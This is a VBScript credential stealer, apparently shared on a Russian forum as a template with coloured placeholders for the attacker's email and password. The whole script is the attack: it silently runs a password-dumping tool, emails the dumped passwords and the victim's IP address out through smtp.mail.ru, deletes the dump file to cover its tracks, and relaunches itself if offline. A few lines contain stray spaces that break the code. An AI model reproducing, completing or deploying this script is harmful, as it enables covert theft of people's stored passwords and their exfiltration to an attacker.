Set WshShell = CreateObject("WScript.Shell")      
Set objFso = CreateObject("Scripting.FileSystemObject")      
Return = WshShell.Run("ping www.ru ", 0, true)      
If Return=0 then      
On Error Resume Next      
WshShell.Run "x.exe /stext C:\WINDOWS\system32\pass.txt", 0, false      
WScript.Sleep (5000)      
Call SendPost("[color=blue]smtp.mail.ru[/color]","[color=red]ВПИСАТЬ МЫЛО НА КОТОРОЕ ПРИДЁТ IP[/color]","ip-log.prim@mail.ru","О владыко пришло письмо с ip :)","script Set as zloivolk")      
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)      
Set iMsg=CreateObject("CDO.Message")      
Set iConf=CreateObject("CDO.Configuration")      
Set Flds=iConf.Fields      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="[color=red]ВПИСАТЬ МЫЛО (левое) С КОТОРОГО ПРИДЁТ ПИСЬМО С IP[/color]"      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="[color=green]ПАРОЛЬ ОТ МЫЛА[/color]"      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="[color=blue]smtp.mail.ru[/color]"      
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25      
Flds.Update      
iMsg.Configuration=iConf      
iMsg.To=strTo      
iMsg.From=strFrom      
iMsg.Subject=strSubje ct      
i Ms g.Text Body=strBody      
On Error Resume Next      
iMsg.AddAttachment "http://www.testip.ru/index.txt"      
On Error Resume Next      
iMsg.AddAttachment "C:\WINDOWS\system32\pass.txt"      
On Error Resume Next      
iMsg.Send      
End Function      
Set iMsg=Nothing      
Set iConf=Nothing      
Set Flds=Nothing      
On Error Resume Next      
objFso.DeleteFile "c:\windows\system32\pass.txt", True      
Else      
WScript.Sleep (180000)      
WshShell.Run "3_IP-mail.vbs", 0, false      
End If